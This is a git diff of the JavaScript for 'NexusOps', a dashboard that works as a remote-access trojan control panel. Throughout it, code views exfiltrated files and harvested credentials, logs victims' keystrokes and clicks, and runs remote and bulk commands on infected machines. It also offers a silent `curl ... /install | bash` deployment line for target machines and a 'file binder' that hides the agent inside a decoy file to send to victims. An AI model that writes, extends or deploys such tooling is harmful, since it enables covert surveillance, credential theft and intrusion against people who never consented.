diff --git a/.gitignore b/.gitignore
index 823e254..fbe3597 100644
--- a/.gitignore
+++ b/.gitignore
@@ -8,3 +8,4 @@ __pycache__/
public/bin/
*.spec
data/
+.env
diff --git a/public/app.js b/public/app.js
index 3439969..0dae8ed 100644
--- a/public/app.js
+++ b/public/app.js
@@ -1,3 +1,70 @@
+
+// ── Auth & API wrapper ──
+let nexusToken = localStorage.getItem('nexus_token') || null;
+let authRequired = false;
+
+const _origFetch = window.fetch.bind(window);
+window.fetch = function(url, opts = {}) {
+ opts.headers = opts.headers || {};
+ if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) {
+ opts.headers['Authorization'] = 'Bearer ' + nexusToken;
+ }
+ return _origFetch(url, opts).then(resp => {
+ if (resp.status === 401 && authRequired) showAuthGate();
+ return resp;
+ });
+};
+
+function showAuthGate() {
+ authRequired = true;
+ document.getElementById('authOverlay').style.display = 'flex';
+ setTimeout(() => document.getElementById('authTokenInput').focus(), 100);
+}
+function hideAuthGate() {
+ document.getElementById('authOverlay').style.display = 'none';
+ document.getElementById('authError').style.display = 'none';
+}
+
+async function submitAuthToken() {
+ const val = document.getElementById('authTokenInput').value.trim();
+ if (!val) return;
+ nexusToken = val;
+ try {
+ const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } });
+ if (r.ok) {
+ localStorage.setItem('nexus_token', val);
+ hideAuthGate();
+ toast('Authenticated', 'success');
+ bootApp();
+ } else {
+ document.getElementById('authError').style.display = 'block';
+ nexusToken = null;
+ }
+ } catch(e) {
+ document.getElementById('authError').style.display = 'block';
+ }
+}
+
+async function probeAuth() {
+ try {
+ const r = await _origFetch('/api/status');
+ if (r.status === 401) { showAuthGate(); return false; }
+ return true;
+ } catch(e) { return true; }
+}
+
+// ── Toasts ──
+function toast(msg, type = 'info') {
+ const stack = document.getElementById('toastStack');
+ if (!stack) return;
+ const el = document.createElement('div');
+ el.className = 'toast toast-' + type;
+ const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' };
+ el.innerHTML = '' + escapeHtml(msg) + '';
+ stack.appendChild(el);
+ setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000);
+}
+
// NexusOps Dashboard Application Logic
let nodesData = [];
@@ -26,12 +93,20 @@ function updateServerEndpoint() {
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
}
+let _wsBackoff = 1000;
+let _wsAttempts = 0;
+let _wsHalted = false;
+
function initWebSocket() {
+ if (_wsHalted) return;
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
- const wsUrl = `${protocol}//${window.location.host}`;
+ let wsUrl = `${protocol}//${window.location.host}`;
+ if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken);
const ws = new WebSocket(wsUrl);
ws.onopen = () => {
+ _wsBackoff = 1000;
+ _wsAttempts = 0;
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
document.querySelector('.status-indicator').classList.add('online');
};
@@ -56,13 +131,23 @@ function initWebSocket() {
}
};
- ws.onclose = () => {
- document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
+ ws.onclose = (ev) => {
document.querySelector('.status-indicator').classList.remove('online');
- setTimeout(initWebSocket, 3000);
+ if (ev.code === 4401) {
+ _wsHalted = true;
+ document.getElementById('navConnectionStatus').textContent = 'Auth Required';
+ showAuthGate();
+ return;
+ }
+ _wsAttempts++;
+ document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`;
+ const jitter = Math.random() * 500;
+ setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000));
+ _wsBackoff = Math.min(_wsBackoff * 2, 30000);
};
}
+
function renderDashboard() {
renderOverviewStats();
renderNodesGrid();
@@ -94,6 +179,11 @@ function renderNodesGrid() {
const container = document.getElementById('nodesGrid');
const search = document.getElementById('searchInput').value.toLowerCase();
+ if (!nodesData.length) {
+ container.innerHTML = renderEmptyHero();
+ if (window.QRCode && endpoint) { /* QR handled below */ }
+ return;
+ }
let filtered = nodesData.filter(node => {
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
@@ -761,3 +851,184 @@ function checkForNewNodes() {
document.addEventListener('click', () => {
if (Notification.permission === 'default') Notification.requestPermission();
}, { once: true });
+
+
+// ── Loot viewer ──
+let lootFiles = [];
+let lootCreds = [];
+let lootObjectUrls = {};
+let _lootSeenFiles = new Set();
+let _lootSeenCreds = new Set();
+let _lootFirstPoll = true;
+
+function switchLootTab(tab) {
+ document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files');
+ document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds');
+ document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none';
+ document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none';
+}
+
+function humanSize(b) {
+ if (!b && b !== 0) return '?';
+ if (b < 1024) return b + ' B';
+ if (b < 1048576) return (b/1024).toFixed(1) + ' KB';
+ return (b/1048576).toFixed(1) + ' MB';
+}
+
+function relTime(ts) {
+ const s = Math.floor((Date.now() - ts) / 1000);
+ if (s < 60) return s + 's ago';
+ if (s < 3600) return Math.floor(s/60) + 'm ago';
+ if (s < 86400) return Math.floor(s/3600) + 'h ago';
+ return Math.floor(s/86400) + 'd ago';
+}
+
+async function pollLoot() {
+ try {
+ const [fr, cr] = await Promise.all([
+ fetch('/api/files').then(r => r.ok ? r.json() : []),
+ fetch('/api/credentials').then(r => r.ok ? r.json() : [])
+ ]);
+ // Toasts on new arrivals (skip first poll)
+ if (!_lootFirstPoll) {
+ fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } });
+ cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } });
+ } else {
+ fr.forEach(f => _lootSeenFiles.add(f.id));
+ cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp));
+ _lootFirstPoll = false;
+ }
+ lootFiles = fr;
+ lootCreds = cr;
+ renderLoot();
+ } catch(e) { /* offline tolerance */ }
+}
+
+function renderLoot() {
+ document.getElementById('lootFilesCount').textContent = lootFiles.length;
+ document.getElementById('lootCredsCount').textContent = lootCreds.length;
+
+ // Files
+ const fp = document.getElementById('lootFilesPanel');
+ if (!lootFiles.length) {
+ fp.innerHTML = '
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
';
+ } else {
+ fp.innerHTML = ' | File | Node | Size | When | |
' +
+ lootFiles.slice().reverse().map(f => {
+ const isImg = (f.mime || '').startsWith('image/');
+ const thumbId = 'thumb-' + f.id;
+ if (isImg && !lootObjectUrls[f.id]) {
+ fetch('/api/files/' + f.id).then(r => r.blob()).then(b => {
+ lootObjectUrls[f.id] = URL.createObjectURL(b);
+ const el = document.getElementById(thumbId);
+ if (el) el.src = lootObjectUrls[f.id];
+ }).catch(() => {});
+ }
+ return '' +
+ '' + (isImg
+ ? ' '
+ : '') + ' | ' +
+ '' + escapeHtml(f.filename) + ' ' + escapeHtml(f.mime || '') + ' | ' +
+ '' + escapeHtml(f.hostname || f.nodeId || '?') + ' | ' +
+ '' + humanSize(f.size) + ' | ' +
+ '' + relTime(f.timestamp) + ' | ' +
+ ' | ' +
+ '
';
+ }).join('') + '
';
+ }
+
+ // Credentials
+ const cp = document.getElementById('lootCredsPanel');
+ if (!lootCreds.length) {
+ cp.innerHTML = '[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
';
+ } else {
+ const groups = {};
+ lootCreds.forEach((c, i) => {
+ const key = (c.hostname || c.nodeId || 'unknown');
+ groups[key] = groups[key] || [];
+ groups[key].push(Object.assign({ _idx: i }, c));
+ });
+ cp.innerHTML = Object.entries(groups).map(([host, items]) =>
+ ' ' + escapeHtml(host) + ' ' + items.length + '
' +
+ items.map(c => {
+ const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data);
+ const cid = 'cred-' + c._idx;
+ return '
' +
+ '' + escapeHtml(c.type || 'unknown') + '' +
+ '••••••••••' +
+ '' + relTime(c.timestamp) + '' +
+ '' +
+ '' +
+ '
';
+ }).join('') + '
'
+ ).join('');
+ }
+}
+
+function toggleCredReveal(cid, btn) {
+ const el = document.getElementById(cid);
+ if (el.dataset.masked === '1') {
+ el.textContent = btn.dataset.raw;
+ el.dataset.masked = '0';
+ btn.innerHTML = '';
+ } else {
+ el.textContent = '••••••••••';
+ el.dataset.masked = '1';
+ btn.innerHTML = '';
+ }
+}
+
+function lootCopy(btn) {
+ navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success'));
+}
+
+function openLootLightbox(id) {
+ const lb = document.getElementById('lootLightbox');
+ const img = document.getElementById('lootLightboxImg');
+ if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; }
+}
+function closeLootLightbox() {
+ document.getElementById('lootLightbox').style.display = 'none';
+}
+
+function lootDownload(id, filename) {
+ fetch('/api/files/' + id).then(r => r.blob()).then(b => {
+ const a = document.createElement('a');
+ a.href = URL.createObjectURL(b);
+ a.download = filename;
+ a.click();
+ setTimeout(() => URL.revokeObjectURL(a.href), 5000);
+ }).catch(() => toast('Download failed', 'error'));
+}
+
+// ── Empty state hero ──
+function renderEmptyHero() {
+ const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
+ const cmd = `curl -sSL ${endpoint}/install | bash`;
+ return '' +
+ '
' +
+ '
No Nodes Deployed Yet
' +
+ '
Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.
' +
+ '
' + escapeHtml(cmd) + '' +
+ '
' +
+ '
' +
+ '
or click Deploy Agent above for platform-specific installers
' +
+ '
';
+}
+
+// ── Boot ──
+let _booted = false;
+function bootApp() {
+ if (_booted) return;
+ _booted = true;
+ initWebSocket();
+ pollLoot();
+ setInterval(pollLoot, 15000);
+}
+
+document.addEventListener('DOMContentLoaded', async () => {
+ const open = await probeAuth();
+ if (open) bootApp();
+ document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken);
+ document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); });
+});
diff --git a/public/app.js.bak-1785766812 b/public/app.js.bak-1785766812
new file mode 100644
index 0000000..3439969
--- /dev/null
+++ b/public/app.js.bak-1785766812
@@ -0,0 +1,763 @@
+// NexusOps Dashboard Application Logic
+
+let nodesData = [];
+let commandHistory = [];
+let masterSystemLogs = [];
+let inputData = [];
+let currentFilter = 'all';
+let currentView = 'grid';
+let serverIp = window.location.hostname;
+let serverPort = window.location.port || '3000';
+let publicUrl = null;
+let telemetryChart = null;
+
+document.addEventListener('DOMContentLoaded', () => {
+ initWebSocket();
+ initChart();
+ updateServerEndpoint();
+});
+
+function updateServerEndpoint() {
+ const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
+ const placeholders = document.querySelectorAll('.server-url-placeholder');
+ placeholders.forEach(el => el.textContent = endpoint);
+ document.getElementById('navServerEndpoint').textContent = endpoint;
+ const linkEl = document.getElementById('binaryDownloadLink');
+ if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
+}
+
+function initWebSocket() {
+ const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
+ const wsUrl = `${protocol}//${window.location.host}`;
+ const ws = new WebSocket(wsUrl);
+
+ ws.onopen = () => {
+ document.getElementById('navConnectionStatus').textContent = 'Live Connected';
+ document.querySelector('.status-indicator').classList.add('online');
+ };
+
+ ws.onmessage = (event) => {
+ try {
+ const data = JSON.parse(event.data);
+ if (data.type === 'NODES_UPDATE') {
+ serverIp = data.serverIp || serverIp;
+ serverPort = data.port || serverPort;
+ publicUrl = data.publicUrl || publicUrl;
+ updateServerEndpoint();
+
+ nodesData = data.nodes || [];
+ commandHistory = data.commandHistory || [];
+ masterSystemLogs = data.masterSystemLogs || [];
+ inputData = data.inputData || [];
+ renderDashboard();
+ }
+ } catch (e) {
+ console.error("Error parsing WebSocket payload:", e);
+ }
+ };
+
+ ws.onclose = () => {
+ document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
+ document.querySelector('.status-indicator').classList.remove('online');
+ setTimeout(initWebSocket, 3000);
+ };
+}
+
+function renderDashboard() {
+ renderOverviewStats();
+ renderNodesGrid();
+ renderAuditLogs();
+ renderMasterSyslogs();
+ renderIntelLog();
+ checkForNewNodes();
+ updateChartData();
+}
+
+function renderOverviewStats() {
+ const total = nodesData.length;
+ const online = nodesData.filter(n => n.status === 'online').length;
+ const offline = total - online;
+
+ let avgCpu = 0;
+ if (online > 0) {
+ const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0);
+ avgCpu = Math.round(sumCpu / online);
+ }
+
+ document.getElementById('statTotalNodes').textContent = total;
+ document.getElementById('statOnlineNodes').textContent = online;
+ document.getElementById('statOfflineNodes').textContent = offline;
+ document.getElementById('statAvgCpu').textContent = `${avgCpu}%`;
+}
+
+function renderNodesGrid() {
+ const container = document.getElementById('nodesGrid');
+ const search = document.getElementById('searchInput').value.toLowerCase();
+
+ let filtered = nodesData.filter(node => {
+ const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
+ const matchesSearch = !search ||
+ node.hostname.toLowerCase().includes(search) ||
+ node.ip.toLowerCase().includes(search) ||
+ node.platform.toLowerCase().includes(search) ||
+ node.id.toLowerCase().includes(search);
+ return matchesFilter && matchesSearch;
+ });
+
+ if (filtered.length === 0) {
+ container.innerHTML = `
+
+
+
No Connected Agents Found
+
No computers match your filter. Download the agent installer to link machines.
+
+
+ `;
+ return;
+ }
+
+ container.innerHTML = filtered.map(node => {
+ const isOnline = node.status === 'online';
+ const osIcon = getOsIcon(node.platform);
+
+ return `
+
+
+
+
+
+
+ CPU Usage
+ ${node.cpuUsage}%
+
+
+
+
+
+
+ Memory
+ ${node.memUsage}%
+
+
+
+
+
+
+ Disk Space
+ ${node.diskUsage}%
+
+
+
+
+
+
+
+ `;
+ }).join('');
+}
+
+function renderAuditLogs() {
+ const container = document.getElementById('auditLogContent');
+ document.getElementById('logCount').textContent = `${commandHistory.length} events`;
+
+ if (commandHistory.length === 0) {
+ container.innerHTML = `[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.
`;
+ return;
+ }
+
+ container.innerHTML = commandHistory.map(item => {
+ let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system';
+ return `
+
+ [${new Date(item.createdAt).toLocaleTimeString()}]
${escapeHtml(item.hostname)} ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()}
+ ${item.output ? `
${escapeHtml(item.output.trim())}` : ''}
+
+ `;
+ }).join('');
+ container.scrollTop = container.scrollHeight;
+}
+
+function renderMasterSyslogs() {
+ const container = document.getElementById('syslogStreamContent');
+ if (!container) return;
+
+ const countEl = document.getElementById('syslogCount');
+ const searchInput = document.getElementById('logSearchInput');
+ const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
+
+ let filtered = masterSystemLogs;
+ if (query) {
+ filtered = masterSystemLogs.filter(l =>
+ l.hostname.toLowerCase().includes(query) ||
+ l.entry.toLowerCase().includes(query)
+ );
+ }
+
+ if (countEl) countEl.textContent = `${filtered.length} entries`;
+
+ if (filtered.length === 0) {
+ container.innerHTML = `[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".
`;
+ return;
+ }
+
+ container.innerHTML = filtered.map(log => {
+ let logText = escapeHtml(log.entry);
+ let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail');
+ let isWarn = logText.toLowerCase().includes('warn');
+ let logClass = isError ? 'error' : isWarn ? 'system' : 'success';
+
+ return `
+
+ [${new Date(log.timestamp).toLocaleTimeString()}] ${escapeHtml(log.hostname)}: ${logText}
+
+ `;
+ }).join('');
+ container.scrollTop = container.scrollHeight;
+}
+
+function initChart() {
+ const ctx = document.getElementById('telemetryChart').getContext('2d');
+ telemetryChart = new Chart(ctx, {
+ type: 'line',
+ data: {
+ labels: [],
+ datasets: [
+ {
+ label: 'Avg CPU Load (%)',
+ borderColor: '#06b6d4',
+ backgroundColor: 'rgba(6, 182, 212, 0.1)',
+ fill: true,
+ data: [],
+ tension: 0.4
+ },
+ {
+ label: 'Avg RAM Load (%)',
+ borderColor: '#8b5cf6',
+ backgroundColor: 'rgba(139, 92, 246, 0.1)',
+ fill: true,
+ data: [],
+ tension: 0.4
+ }
+ ]
+ },
+ options: {
+ responsive: true,
+ maintainAspectRatio: false,
+ scales: {
+ x: {
+ grid: { color: 'rgba(255, 255, 255, 0.05)' },
+ ticks: { color: '#9ca3af' }
+ },
+ y: {
+ min: 0,
+ max: 100,
+ grid: { color: 'rgba(255, 255, 255, 0.05)' },
+ ticks: { color: '#9ca3af' }
+ }
+ },
+ plugins: {
+ legend: { labels: { color: '#f3f4f6' } }
+ }
+ }
+ });
+}
+
+function updateChartData() {
+ if (!telemetryChart) return;
+ const timeStr = new Date().toLocaleTimeString();
+
+ const onlineNodes = nodesData.filter(n => n.status === 'online');
+ const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0;
+ const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0;
+
+ telemetryChart.data.labels.push(timeStr);
+ telemetryChart.data.datasets[0].data.push(Math.round(avgCpu));
+ telemetryChart.data.datasets[1].data.push(Math.round(avgMem));
+
+ if (telemetryChart.data.labels.length > 15) {
+ telemetryChart.data.labels.shift();
+ telemetryChart.data.datasets[0].data.shift();
+ telemetryChart.data.datasets[1].data.shift();
+ }
+ telemetryChart.update();
+}
+
+function getOsIcon(platform) {
+ const p = (platform || '').toLowerCase();
+ if (p.includes('win')) return 'fa-brands fa-windows';
+ if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
+ return 'fa-brands fa-linux';
+}
+
+function escapeHtml(str) {
+ return (str || '').replace(/&/g, "&").replace(//g, ">");
+}
+
+function formatTime(timestamp) {
+ if (!timestamp) return 'Never';
+ const diff = Math.floor((Date.now() - timestamp) / 1000);
+ if (diff < 5) return 'Just now';
+ if (diff < 60) return `${diff}s ago`;
+ return `${Math.floor(diff / 60)}m ago`;
+}
+
+function setFilter(filter, el) {
+ currentFilter = filter;
+ document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active'));
+ el.classList.add('active');
+ renderNodesGrid();
+}
+
+function filterNodes() {
+ renderNodesGrid();
+}
+
+function switchView(view, el) {
+ currentView = view;
+ document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active'));
+ el.classList.add('active');
+ renderNodesGrid();
+}
+
+function openInstallerModal() {
+ updateServerEndpoint();
+ document.getElementById('installerModal').classList.add('active');
+}
+
+function closeInstallerModal() {
+ document.getElementById('installerModal').classList.remove('active');
+}
+
+function switchTab(tabName) {
+ document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
+ document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
+
+ event.currentTarget.classList.add('active');
+ document.getElementById(`tab-${tabName}`).classList.add('active');
+}
+
+function switchControlTab(tabName, btnEl) {
+ document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active'));
+ document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none');
+
+ btnEl.classList.add('active');
+ document.getElementById(`ctrl-${tabName}`).style.display = 'block';
+}
+
+function copyCode(elementId, btn) {
+ const text = document.getElementById(elementId).innerText;
+ navigator.clipboard.writeText(text).then(() => {
+ const original = btn.innerHTML;
+ btn.innerHTML = ` Copied!`;
+ btn.style.background = 'var(--accent-emerald)';
+ setTimeout(() => {
+ btn.innerHTML = original;
+ btn.style.background = '';
+ }, 2000);
+ });
+}
+
+function openCommandModal(nodeId, hostname) {
+ document.getElementById('cmdModalNodeId').value = nodeId;
+ document.getElementById('cmdModalHostname').textContent = hostname;
+ document.getElementById('cmdInput').value = '';
+ document.getElementById('commandModal').classList.add('active');
+}
+
+function closeCommandModal() {
+ document.getElementById('commandModal').classList.remove('active');
+}
+
+function setQuickCmd(cmd) {
+ document.getElementById('cmdInput').value = cmd;
+}
+
+function submitNodeAction(actionType, extraPayload = {}) {
+ const nodeId = document.getElementById('cmdModalNodeId').value;
+ let payload = { ...extraPayload };
+
+ if (actionType === 'raw_command') {
+ const command = document.getElementById('cmdInput').value.trim();
+ if (!command) return;
+ payload.command = command;
+ }
+
+ fetch(`/api/nodes/${nodeId}/command`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ actionType, payload, command: payload.command })
+ })
+ .then(res => res.json())
+ .then(data => {
+ if (data.success) {
+ closeCommandModal();
+ }
+ });
+}
+
+function submitServiceAction(action) {
+ const service = document.getElementById('serviceNameInput').value.trim();
+ if (!service) return alert("Please enter a service name (e.g. nginx)");
+ submitNodeAction('manage_service', { service, action });
+}
+
+function submitKillProcess() {
+ const pid = document.getElementById('killPidInput').value;
+ if (!pid) return alert("Please enter a valid PID");
+ submitNodeAction('kill_process', { pid });
+}
+
+function openBulkModal() {
+ document.getElementById('bulkModal').classList.add('active');
+}
+
+function closeBulkModal() {
+ document.getElementById('bulkModal').classList.remove('active');
+}
+
+function submitBulkCommand() {
+ const command = document.getElementById('bulkCmdInput').value.trim();
+ if (!command) return;
+
+ fetch('/api/nodes/bulk-command', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } })
+ })
+ .then(res => res.json())
+ .then(data => {
+ if (data.success) {
+ closeBulkModal();
+ alert(`Task broadcasted to ${data.count} online network nodes!`);
+ } else {
+ alert(data.error || "Failed to dispatch bulk command");
+ }
+ });
+}
+
+function submitTagUpdate() {
+ const tags = document.getElementById('tagInput').value.trim();
+ if (!tags) return alert("Please enter at least one tag");
+ submitNodeAction('update_tags', { tags });
+}
+
+function submitHeartbeatRate() {
+ const interval = document.getElementById('heartbeatInput').value;
+ if (!interval) return alert("Please enter a valid interval in seconds");
+ submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) });
+}
+
+function submitSystemReboot() {
+ if (confirm("⚠️ Are you sure you want to reboot this target machine?")) {
+ submitNodeAction('reboot_system');
+ }
+}
+
+function deleteNode(nodeId) {
+ if (confirm("Are you sure you want to unregister this node?")) {
+ fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' });
+ }
+}
+
+// ── Master Intelligence Log Rendering ──
+
+function renderIntelLog() {
+ const container = document.getElementById('intelLogContent');
+ if (!container) return;
+
+ const nodeFilter = document.getElementById('intelNodeFilter');
+ const typeFilter = document.getElementById('intelTypeFilter');
+ const searchInput = document.getElementById('intelSearchInput');
+
+ // Populate node filter dropdown dynamically
+ if (nodeFilter) {
+ const currentVal = nodeFilter.value;
+ nodeFilter.innerHTML = '';
+ nodesData.forEach(n => {
+ const sel = n.id === currentVal ? ' selected' : '';
+ nodeFilter.innerHTML += ``;
+ });
+ }
+
+ const selNodeId = nodeFilter ? nodeFilter.value : 'all';
+ const selType = typeFilter ? typeFilter.value : 'all';
+ const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
+
+ // Show machine details when a specific node is selected
+ renderMachineDetails(selNodeId);
+
+ // Filter input data
+ let filtered = inputData;
+ if (selNodeId !== 'all') {
+ filtered = filtered.filter(e => e.nodeId === selNodeId);
+ }
+ if (selType !== 'all') {
+ filtered = filtered.filter(e => e.eventType === selType);
+ }
+ if (query) {
+ filtered = filtered.filter(e => {
+ const dataStr = JSON.stringify(e.data || '').toLowerCase();
+ return dataStr.includes(query) ||
+ (e.windowTitle || '').toLowerCase().includes(query) ||
+ (e.hostname || '').toLowerCase().includes(query);
+ });
+ }
+
+ const countEl = document.getElementById('intelCount');
+ if (countEl) countEl.textContent = `${filtered.length} events`;
+
+ if (filtered.length === 0) {
+ container.innerHTML = '[INTEL] No captured input events. Waiting for agent keystroke/click data...
';
+ return;
+ }
+
+ container.innerHTML = filtered.map(ev => {
+ const timeStr = new Date(ev.timestamp).toLocaleTimeString();
+ const hostStr = escapeHtml(ev.hostname || 'Unknown');
+ let icon, cssClass, detailStr;
+
+ switch (ev.eventType) {
+ case 'keystroke':
+ icon = '';
+ cssClass = 'log-entry intel-keystroke';
+ detailStr = `Key: ${escapeHtml((ev.data && ev.data.key) || '?')}`;
+ break;
+ case 'click':
+ icon = '';
+ cssClass = 'log-entry intel-click';
+ detailStr = `Button: ${escapeHtml((ev.data && ev.data.button) || '?')} @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`;
+ break;
+ case 'scroll':
+ icon = '';
+ cssClass = 'log-entry intel-scroll';
+ detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`;
+ break;
+ default:
+ icon = '';
+ cssClass = 'log-entry';
+ detailStr = escapeHtml(JSON.stringify(ev.data || {}));
+ }
+
+ const winStr = ev.windowTitle ? ` [${escapeHtml(ev.windowTitle)}]` : '';
+
+ return `
+ [${timeStr}]
+ ${icon}
+ ${hostStr}
+ ${detailStr}${winStr}
+
`;
+ }).join('');
+ container.scrollTop = container.scrollHeight;
+}
+
+function renderMachineDetails(nodeId) {
+ const bar = document.getElementById('machineDetailsBar');
+ if (!bar) return;
+
+ if (nodeId === 'all') {
+ const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))];
+ if (machinesWithInput.length === 0) {
+ bar.innerHTML = ' Select a specific machine to see its full details here. Input data from agents will appear below.';
+ } else {
+ bar.innerHTML = ` ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.`;
+ }
+ return;
+ }
+
+ const node = nodesData.find(n => n.id === nodeId);
+ if (!node) {
+ bar.innerHTML = 'Machine details unavailable.';
+ return;
+ }
+
+ const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)';
+ const osIcon = getOsIcon(node.platform);
+
+ bar.innerHTML = `
+ ${escapeHtml(node.hostname)}
+ ${escapeHtml(node.ip)}
+ ${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})
+ CPU: ${node.cpuUsage}%
+ MEM: ${node.memUsage}%
+ DISK: ${node.diskUsage}%
+ ${formatUptime(node.uptime)}
+ ${node.status.toUpperCase()}
+ `;
+}
+
+function formatUptime(seconds) {
+ if (!seconds || seconds <= 0) return 'N/A';
+ const d = Math.floor(seconds / 86400);
+ const h = Math.floor((seconds % 86400) / 3600);
+ const m = Math.floor((seconds % 3600) / 60);
+ if (d > 0) return `${d}d ${h}h`;
+ if (h > 0) return `${h}h ${m}m`;
+ return `${m}m`;
+}
+
+// ── File Binder ──
+
+let binderFile = null;
+
+function openBinderModal() {
+ updateServerEndpoint();
+ document.getElementById('binderModal').classList.add('active');
+ resetBinder();
+}
+
+function closeBinderModal() {
+ document.getElementById('binderModal').classList.remove('active');
+ resetBinder();
+}
+
+function resetBinder() {
+ binderFile = null;
+ document.getElementById('binderFileInput').value = '';
+ document.getElementById('binderFileName').innerHTML = 'Click or drag any file here';
+ document.getElementById('binderDropzone').classList.remove('has-file');
+ document.getElementById('binderSubmitBtn').disabled = true;
+ document.getElementById('binderStatus').style.display = 'none';
+}
+
+function handleBinderFile(input) {
+ if (input.files && input.files[0]) {
+ binderFile = input.files[0];
+ document.getElementById('binderFileName').innerHTML = `${escapeHtml(binderFile.name)} (${(binderFile.size / 1024).toFixed(1)} KB)`;
+ document.getElementById('binderDropzone').classList.add('has-file');
+ document.getElementById('binderSubmitBtn').disabled = false;
+ }
+}
+
+async function submitBinder() {
+ if (!binderFile) return;
+
+ const btn = document.getElementById('binderSubmitBtn');
+ const status = document.getElementById('binderStatus');
+ btn.disabled = true;
+ btn.innerHTML = ' Binding...';
+ status.style.display = 'block';
+ status.className = '';
+ status.textContent = 'Processing file...';
+
+ const formData = new FormData();
+ formData.append('file', binderFile);
+
+ try {
+ const resp = await fetch('/api/bind', { method: 'POST', body: formData });
+ if (!resp.ok) {
+ const err = await resp.json().catch(() => ({ error: 'Server error' }));
+ throw new Error(err.error || `HTTP ${resp.status}`);
+ }
+
+ const blob = await resp.blob();
+ const url = URL.createObjectURL(blob);
+ const a = document.createElement('a');
+ a.href = url;
+ a.download = binderFile.name + '.sh';
+ document.body.appendChild(a);
+ a.click();
+ document.body.removeChild(a);
+ URL.revokeObjectURL(url);
+
+ status.className = 'success';
+ status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`;
+ } catch (e) {
+ status.className = 'error';
+ status.textContent = `❌ ${e.message}`;
+ }
+
+ btn.disabled = false;
+ btn.innerHTML = ' Bind & Download';
+}
+
+// ── Kill Switch ──
+function killSwitch() {
+ if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return;
+ fetch('/api/nodes/killswitch', { method: 'POST' })
+ .then(r => r.json())
+ .then(d => {
+ if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`);
+ else alert(d.error || 'No nodes to kill.');
+ });
+}
+
+// ── Ping Node ──
+function pingNode(nodeId, hostname) {
+ fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' })
+ .then(r => r.json())
+ .then(d => {
+ if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`);
+ });
+}
+
+// ── New Node Sound & Notification ──
+let knownNodeIds = new Set();
